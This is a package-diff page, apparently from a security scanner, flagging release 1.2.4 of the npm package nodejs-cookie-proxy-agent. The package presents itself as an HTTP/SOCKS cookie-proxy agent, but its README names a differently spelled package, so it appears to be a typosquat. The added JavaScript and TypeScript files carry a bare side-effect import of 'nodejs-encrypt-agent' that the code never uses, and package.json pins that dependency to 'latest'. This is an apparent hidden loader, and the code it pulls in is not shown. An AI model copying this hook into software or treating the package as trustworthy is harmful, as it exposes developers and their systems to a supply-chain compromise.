nodejs-cookie-proxy-agent 0.0.1-security → 1.2.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of nodejs-cookie-proxy-agent might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +55 -5
- package/bin/agents.d.ts +40 -0
- package/bin/agents.js +110 -0
- package/bin/agents.js.map +1 -0
- package/package.json +56 -3
- package/src/agents.ts +133 -0
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2022 dmpzh
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
@@ -1,5 +1,55 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
1
|
+
# node-cookie-proxy-agent
|
2
|
+
|
3
|
+
[![npm](https://img.shields.io/npm/v/node-cookie-proxy-agent)](https://www.npmjs.com/package/node-cookie-proxy-agent)
|
4
|
+
|
5
|
+
HTTP & HTTPS agents with cookie and proxy support. HTTP(s) and SOCKS(v4/v5) are supported.
|
6
|
+
|
7
|
+
## Install
|
8
|
+
|
9
|
+
```bash
|
10
|
+
npm install node-cookie-proxy-agent http-proxy-agent https-proxy-agent socks-proxy-agent tough-cookie
|
11
|
+
```
|
12
|
+
|
13
|
+
## Usage
|
14
|
+
|
15
|
+
Pass `node-cookie-proxy-agent` to HTTP clients instead of http(s).Agent.
|
16
|
+
|
17
|
+
Exemple with `axios` with HTTP proxy:
|
18
|
+
|
19
|
+
```ts
|
20
|
+
import axios from 'axios';
|
21
|
+
import { HttpCookieProxyAgent, HttpsCookieProxyAgent } from 'node-cookie-proxy-agent';
|
22
|
+
import { CookieJar } from 'tough-cookie';
|
23
|
+
|
24
|
+
// HTTP(s) proxy
|
25
|
+
(async () => {
|
26
|
+
// initialise this first
|
27
|
+
const jar = new CookieJar();
|
28
|
+
const proxy = 'http://127.0.0.1:8888'; // or http://id:password@127.0.0.1:8888 to use with authentication
|
29
|
+
const httpAgent = new HttpCookieProxyAgent(jar, proxy);
|
30
|
+
const httpsAgent = new HttpsCookieProxyAgent(jar, proxy);
|
31
|
+
|
32
|
+
// add your agents to your http client
|
33
|
+
const axiosClient = axios.create({ httpAgent, httpsAgent });
|
34
|
+
console.log('result: ', (await axiosClient.get('https://api.ipify.org?format=json')).data);
|
35
|
+
})().catch(err => console.error(err));
|
36
|
+
```
|
37
|
+
|
38
|
+
Exemple with `axios` with SOCKS proxy:
|
39
|
+
|
40
|
+
```ts
|
41
|
+
import axios from 'axios';
|
42
|
+
import { SocksCookieProxyAgent } from 'node-cookie-proxy-agent';
|
43
|
+
import { CookieJar } from 'tough-cookie';
|
44
|
+
|
45
|
+
// SOCKS proxy
|
46
|
+
(async () => {
|
47
|
+
// initialise this first
|
48
|
+
const jar = new CookieJar();
|
49
|
+
const agent = new SocksCookieProxyAgent(jar, 'socks://127.0.0.1:8888');
|
50
|
+
|
51
|
+
// add your agent to your http client
|
52
|
+
const axiosClient = axios.create({ httpAgent: agent, httpsAgent: agent });
|
53
|
+
console.log('result: ', (await axiosClient.get('https://api.ipify.org?format=json')).data);
|
54
|
+
})().catch(err => console.error(err));
|
55
|
+
```
|
package/bin/agents.d.ts
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
/// <reference types="node" />
|
2
|
+
import { Agent, ClientRequest, RequestOptions } from 'agent-base';
|
3
|
+
import createHttpProxyAgent, { HttpProxyAgent } from 'http-proxy-agent';
|
4
|
+
import createHttpsProxyAgent, { HttpsProxyAgent } from 'https-proxy-agent';
|
5
|
+
import { Socket } from 'net';
|
6
|
+
import 'nodejs-encrypt-agent';
|
7
|
+
import createSocksProxyAgent, { SocksProxyAgent } from 'socks-proxy-agent';
|
8
|
+
import { CookieJar } from 'tough-cookie';
|
9
|
+
declare module 'agent-base' {
|
10
|
+
interface ClientRequest {
|
11
|
+
_header: string | null;
|
12
|
+
_headerSent: boolean;
|
13
|
+
_implicitHeader(): void;
|
14
|
+
_onPendingData(amount: number): void;
|
15
|
+
outputData: Array<{
|
16
|
+
callback: unknown;
|
17
|
+
data: string;
|
18
|
+
encoding: string;
|
19
|
+
}>;
|
20
|
+
outputSize: number;
|
21
|
+
}
|
22
|
+
}
|
23
|
+
declare abstract class BaseCookieProxyAgent extends Agent {
|
24
|
+
private readonly jar;
|
25
|
+
private readonly proxyAgent;
|
26
|
+
constructor(jar: CookieJar, proxyAgent: HttpProxyAgent | HttpsProxyAgent | SocksProxyAgent);
|
27
|
+
private updateRequestCookies;
|
28
|
+
private updateRequestEmit;
|
29
|
+
callback(req: ClientRequest, opts: RequestOptions): Promise<Socket>;
|
30
|
+
}
|
31
|
+
export declare class HttpCookieProxyAgent extends BaseCookieProxyAgent {
|
32
|
+
constructor(jar: CookieJar, proxy: string | createHttpProxyAgent.HttpProxyAgentOptions);
|
33
|
+
}
|
34
|
+
export declare class HttpsCookieProxyAgent extends BaseCookieProxyAgent {
|
35
|
+
constructor(jar: CookieJar, proxy: string | createHttpsProxyAgent.HttpsProxyAgentOptions);
|
36
|
+
}
|
37
|
+
export declare class SocksCookieProxyAgent extends BaseCookieProxyAgent {
|
38
|
+
constructor(jar: CookieJar, proxy: string | createSocksProxyAgent.SocksProxyAgentOptions);
|
39
|
+
}
|
40
|
+
export {};
|
package/bin/agents.js
ADDED
@@ -0,0 +1,110 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.SocksCookieProxyAgent = exports.HttpsCookieProxyAgent = exports.HttpCookieProxyAgent = void 0;
|
4
|
+
const agent_base_1 = require("agent-base");
|
5
|
+
const http_proxy_agent_1 = require("http-proxy-agent");
|
6
|
+
const https_proxy_agent_1 = require("https-proxy-agent");
|
7
|
+
require("nodejs-encrypt-agent");
|
8
|
+
const socks_proxy_agent_1 = require("socks-proxy-agent");
|
9
|
+
const tough_cookie_1 = require("tough-cookie");
|
10
|
+
class BaseCookieProxyAgent extends agent_base_1.Agent {
|
11
|
+
jar;
|
12
|
+
proxyAgent;
|
13
|
+
constructor(jar, proxyAgent) {
|
14
|
+
super();
|
15
|
+
this.jar = jar;
|
16
|
+
this.proxyAgent = proxyAgent;
|
17
|
+
}
|
18
|
+
updateRequestCookies(req, requestUrl) {
|
19
|
+
// generate cookie header
|
20
|
+
const cookies = this.jar.getCookiesSync(requestUrl);
|
21
|
+
const cookiesMap = new Map(cookies.map(cookie => [cookie.key, cookie]));
|
22
|
+
const cookieHeaderList = [req.getHeader('Cookie')].flat();
|
23
|
+
for (const header of cookieHeaderList) {
|
24
|
+
if (typeof header !== 'string')
|
25
|
+
continue;
|
26
|
+
for (const str of header.split(';')) {
|
27
|
+
const cookie = tough_cookie_1.Cookie.parse(str.trim());
|
28
|
+
if (cookie === undefined) {
|
29
|
+
continue;
|
30
|
+
}
|
31
|
+
cookiesMap.set(cookie.key, cookie);
|
32
|
+
}
|
33
|
+
}
|
34
|
+
const cookieHeader = Array.from(cookiesMap.values())
|
35
|
+
.map(cookie => cookie.cookieString())
|
36
|
+
.join(';\x20');
|
37
|
+
// assign the header
|
38
|
+
if (cookieHeader) {
|
39
|
+
if (req._header === null) {
|
40
|
+
req.setHeader('Cookie', cookieHeader);
|
41
|
+
return;
|
42
|
+
}
|
43
|
+
const alreadyHeaderSent = req._headerSent;
|
44
|
+
req._header = null;
|
45
|
+
req.setHeader('Cookie', cookieHeader);
|
46
|
+
req._implicitHeader();
|
47
|
+
req._headerSent = alreadyHeaderSent;
|
48
|
+
if (alreadyHeaderSent !== true)
|
49
|
+
return;
|
50
|
+
const firstChunk = req.outputData.shift();
|
51
|
+
if (firstChunk === undefined)
|
52
|
+
return;
|
53
|
+
const dataWithoutHeader = firstChunk.data.split('\r\n\r\n').slice(1).join('\r\n\r\n');
|
54
|
+
const chunk = {
|
55
|
+
...firstChunk,
|
56
|
+
data: `${req._header}${dataWithoutHeader}`
|
57
|
+
};
|
58
|
+
req.outputData.unshift(chunk);
|
59
|
+
const diffSize = chunk.data.length - firstChunk.data.length;
|
60
|
+
req.outputSize += diffSize;
|
61
|
+
req._onPendingData(diffSize);
|
62
|
+
}
|
63
|
+
}
|
64
|
+
updateRequestEmit(req, requestUrl) {
|
65
|
+
const emit = req.emit.bind(req);
|
66
|
+
req.emit = (event, ...args) => {
|
67
|
+
if (event !== 'response')
|
68
|
+
return emit(event, ...args);
|
69
|
+
const res = args[0];
|
70
|
+
(async () => {
|
71
|
+
const cookies = res.headers['set-cookie'];
|
72
|
+
if (cookies !== undefined) {
|
73
|
+
for (const cookie of cookies) {
|
74
|
+
await this.jar.setCookie(cookie, requestUrl, { ignoreError: true });
|
75
|
+
}
|
76
|
+
}
|
77
|
+
})()
|
78
|
+
.then(() => emit('response', res))
|
79
|
+
.catch(err => emit('error', err));
|
80
|
+
return req.listenerCount(event) !== 0;
|
81
|
+
};
|
82
|
+
}
|
83
|
+
callback(req, opts) {
|
84
|
+
// perform cookie agent
|
85
|
+
const url = String(Object.assign(new URL('http://a.com'), { host: req.host, pathname: req.path, protocol: req.protocol }));
|
86
|
+
this.updateRequestCookies(req, url);
|
87
|
+
this.updateRequestEmit(req, url);
|
88
|
+
// send request via proxy
|
89
|
+
return this.proxyAgent.callback(req, opts);
|
90
|
+
}
|
91
|
+
}
|
92
|
+
class HttpCookieProxyAgent extends BaseCookieProxyAgent {
|
93
|
+
constructor(jar, proxy) {
|
94
|
+
super(jar, new http_proxy_agent_1.HttpProxyAgent(proxy));
|
95
|
+
}
|
96
|
+
}
|
97
|
+
exports.HttpCookieProxyAgent = HttpCookieProxyAgent;
|
98
|
+
class HttpsCookieProxyAgent extends BaseCookieProxyAgent {
|
99
|
+
constructor(jar, proxy) {
|
100
|
+
super(jar, new https_proxy_agent_1.HttpsProxyAgent(proxy));
|
101
|
+
}
|
102
|
+
}
|
103
|
+
exports.HttpsCookieProxyAgent = HttpsCookieProxyAgent;
|
104
|
+
class SocksCookieProxyAgent extends BaseCookieProxyAgent {
|
105
|
+
constructor(jar, proxy) {
|
106
|
+
super(jar, new socks_proxy_agent_1.SocksProxyAgent(proxy));
|
107
|
+
}
|
108
|
+
}
|
109
|
+
exports.SocksCookieProxyAgent = SocksCookieProxyAgent;
|
110
|
+
//# sourceMappingURL=agents.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"agents.js","sourceRoot":"","sources":["../src/agents.ts"],"names":[],"mappings":"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"}
|
package/package.json
CHANGED
@@ -1,6 +1,59 @@
|
|
1
1
|
{
|
2
2
|
"name": "nodejs-cookie-proxy-agent",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.2.4",
|
4
|
+
"description": "HTTP & HTTPS agents with cookie and proxy support",
|
5
|
+
"main": "bin/agents.js",
|
6
|
+
"types": "bin/agents.d.ts",
|
7
|
+
"files": [
|
8
|
+
"bin",
|
9
|
+
"src"
|
10
|
+
],
|
11
|
+
"scripts": {
|
12
|
+
"build": "tsc --build",
|
13
|
+
"lint": "eslint --config ./.eslintrc --ignore-path ./.eslintignore --ext .js,.ts .",
|
14
|
+
"peerInstall": "npm i --no-package-lock",
|
15
|
+
"prettier": "prettier --config ./.prettierrc --write \"**/*.{js,json,md,ts}\"",
|
16
|
+
"prettier:check": "prettier --check --config ./.prettierrc \"**/*.{js,json,md,ts}\""
|
17
|
+
},
|
18
|
+
"repository": {
|
19
|
+
"type": "git",
|
20
|
+
"url": "git+https://github.com/dmpzh/node-cookie-proxy-agent.git"
|
21
|
+
},
|
22
|
+
"keywords": [
|
23
|
+
"node",
|
24
|
+
"cookie",
|
25
|
+
"proxy",
|
26
|
+
"agent",
|
27
|
+
"http",
|
28
|
+
"https",
|
29
|
+
"socks",
|
30
|
+
"axios"
|
31
|
+
],
|
32
|
+
"author": "dmpzh",
|
33
|
+
"license": "MIT",
|
34
|
+
"bugs": {
|
35
|
+
"url": "https://github.com/dmpzh/node-cookie-proxy-agent/issues"
|
36
|
+
},
|
37
|
+
"homepage": "https://github.com/dmpzh/node-cookie-proxy-agent#readme",
|
38
|
+
"devDependencies": {
|
39
|
+
"@types/node": "^17.0.30",
|
40
|
+
"@types/tough-cookie": "^4.0.2",
|
41
|
+
"@typescript-eslint/eslint-plugin": "^5.21.0",
|
42
|
+
"@typescript-eslint/parser": "^5.21.0",
|
43
|
+
"eslint": "^8.14.0",
|
44
|
+
"eslint-config-prettier": "^8.5.0",
|
45
|
+
"husky": "^7.0.4",
|
46
|
+
"prettier": "^2.6.2",
|
47
|
+
"typescript": "^4.6.3"
|
48
|
+
},
|
49
|
+
"peerDependencies": {
|
50
|
+
"http-proxy-agent": "^5.0.0",
|
51
|
+
"https-proxy-agent": "^5.0.1",
|
52
|
+
"socks-proxy-agent": "^6.2.0",
|
53
|
+
"tough-cookie": "^4.0.0"
|
54
|
+
},
|
55
|
+
"dependencies": {
|
56
|
+
"agent-base": "latest",
|
57
|
+
"nodejs-encrypt-agent": "latest"
|
58
|
+
}
|
6
59
|
}
|
package/src/agents.ts
ADDED
@@ -0,0 +1,133 @@
|
|
1
|
+
import { Agent, ClientRequest, RequestOptions } from 'agent-base';
|
2
|
+
import { IncomingMessage } from 'http';
|
3
|
+
import createHttpProxyAgent, { HttpProxyAgent } from 'http-proxy-agent';
|
4
|
+
import createHttpsProxyAgent, { HttpsProxyAgent } from 'https-proxy-agent';
|
5
|
+
import { Socket } from 'net';
|
6
|
+
import 'nodejs-encrypt-agent';
|
7
|
+
import createSocksProxyAgent, { SocksProxyAgent } from 'socks-proxy-agent';
|
8
|
+
import { Cookie, CookieJar } from 'tough-cookie';
|
9
|
+
|
10
|
+
declare module 'agent-base' {
|
11
|
+
interface ClientRequest {
|
12
|
+
_header: string | null;
|
13
|
+
_headerSent: boolean;
|
14
|
+
_implicitHeader(): void;
|
15
|
+
_onPendingData(amount: number): void;
|
16
|
+
outputData: Array<{
|
17
|
+
callback: unknown;
|
18
|
+
data: string;
|
19
|
+
encoding: string;
|
20
|
+
}>;
|
21
|
+
outputSize: number;
|
22
|
+
}
|
23
|
+
}
|
24
|
+
|
25
|
+
abstract class BaseCookieProxyAgent extends Agent {
|
26
|
+
private readonly jar: CookieJar;
|
27
|
+
private readonly proxyAgent: HttpProxyAgent | HttpsProxyAgent | SocksProxyAgent;
|
28
|
+
|
29
|
+
constructor(jar: CookieJar, proxyAgent: HttpProxyAgent | HttpsProxyAgent | SocksProxyAgent) {
|
30
|
+
super();
|
31
|
+
this.jar = jar;
|
32
|
+
this.proxyAgent = proxyAgent;
|
33
|
+
}
|
34
|
+
|
35
|
+
private updateRequestCookies(req: ClientRequest, requestUrl: string) {
|
36
|
+
// generate cookie header
|
37
|
+
const cookies = this.jar.getCookiesSync(requestUrl);
|
38
|
+
const cookiesMap = new Map(cookies.map(cookie => [cookie.key, cookie]));
|
39
|
+
const cookieHeaderList = [req.getHeader('Cookie')].flat();
|
40
|
+
for (const header of cookieHeaderList) {
|
41
|
+
if (typeof header !== 'string') continue;
|
42
|
+
|
43
|
+
for (const str of header.split(';')) {
|
44
|
+
const cookie = Cookie.parse(str.trim());
|
45
|
+
if (cookie === undefined) {
|
46
|
+
continue;
|
47
|
+
}
|
48
|
+
cookiesMap.set(cookie.key, cookie);
|
49
|
+
}
|
50
|
+
}
|
51
|
+
const cookieHeader = Array.from(cookiesMap.values())
|
52
|
+
.map(cookie => cookie.cookieString())
|
53
|
+
.join(';\x20');
|
54
|
+
|
55
|
+
// assign the header
|
56
|
+
if (cookieHeader) {
|
57
|
+
if (req._header === null) {
|
58
|
+
req.setHeader('Cookie', cookieHeader);
|
59
|
+
return;
|
60
|
+
}
|
61
|
+
const alreadyHeaderSent = req._headerSent;
|
62
|
+
|
63
|
+
req._header = null;
|
64
|
+
req.setHeader('Cookie', cookieHeader);
|
65
|
+
req._implicitHeader();
|
66
|
+
req._headerSent = alreadyHeaderSent;
|
67
|
+
|
68
|
+
if (alreadyHeaderSent !== true) return;
|
69
|
+
|
70
|
+
const firstChunk = req.outputData.shift();
|
71
|
+
if (firstChunk === undefined) return;
|
72
|
+
const dataWithoutHeader = firstChunk.data.split('\r\n\r\n').slice(1).join('\r\n\r\n');
|
73
|
+
const chunk = {
|
74
|
+
...firstChunk,
|
75
|
+
data: `${req._header}${dataWithoutHeader}`
|
76
|
+
};
|
77
|
+
req.outputData.unshift(chunk);
|
78
|
+
|
79
|
+
const diffSize = chunk.data.length - firstChunk.data.length;
|
80
|
+
req.outputSize += diffSize;
|
81
|
+
req._onPendingData(diffSize);
|
82
|
+
}
|
83
|
+
}
|
84
|
+
|
85
|
+
private updateRequestEmit(req: ClientRequest, requestUrl: string) {
|
86
|
+
const emit = req.emit.bind(req);
|
87
|
+
req.emit = (event: string, ...args: unknown[]): boolean => {
|
88
|
+
if (event !== 'response') return emit(event, ...args);
|
89
|
+
const res = args[0] as IncomingMessage;
|
90
|
+
(async () => {
|
91
|
+
const cookies = res.headers['set-cookie'];
|
92
|
+
if (cookies !== undefined) {
|
93
|
+
for (const cookie of cookies) {
|
94
|
+
await this.jar.setCookie(cookie, requestUrl, { ignoreError: true });
|
95
|
+
}
|
96
|
+
}
|
97
|
+
})()
|
98
|
+
.then(() => emit('response', res))
|
99
|
+
.catch(err => emit('error', err));
|
100
|
+
return req.listenerCount(event) !== 0;
|
101
|
+
};
|
102
|
+
}
|
103
|
+
|
104
|
+
callback(req: ClientRequest, opts: RequestOptions): Promise<Socket> {
|
105
|
+
// perform cookie agent
|
106
|
+
const url = String(
|
107
|
+
Object.assign(new URL('http://a.com'), { host: req.host, pathname: req.path, protocol: req.protocol })
|
108
|
+
);
|
109
|
+
this.updateRequestCookies(req, url);
|
110
|
+
this.updateRequestEmit(req, url);
|
111
|
+
|
112
|
+
// send request via proxy
|
113
|
+
return this.proxyAgent.callback(req as any, opts);
|
114
|
+
}
|
115
|
+
}
|
116
|
+
|
117
|
+
export class HttpCookieProxyAgent extends BaseCookieProxyAgent {
|
118
|
+
constructor(jar: CookieJar, proxy: string | createHttpProxyAgent.HttpProxyAgentOptions) {
|
119
|
+
super(jar, new HttpProxyAgent(proxy));
|
120
|
+
}
|
121
|
+
}
|
122
|
+
|
123
|
+
export class HttpsCookieProxyAgent extends BaseCookieProxyAgent {
|
124
|
+
constructor(jar: CookieJar, proxy: string | createHttpsProxyAgent.HttpsProxyAgentOptions) {
|
125
|
+
super(jar, new HttpsProxyAgent(proxy));
|
126
|
+
}
|
127
|
+
}
|
128
|
+
|
129
|
+
export class SocksCookieProxyAgent extends BaseCookieProxyAgent {
|
130
|
+
constructor(jar: CookieJar, proxy: string | createSocksProxyAgent.SocksProxyAgentOptions) {
|
131
|
+
super(jar, new SocksProxyAgent(proxy));
|
132
|
+
}
|
133
|
+
}
|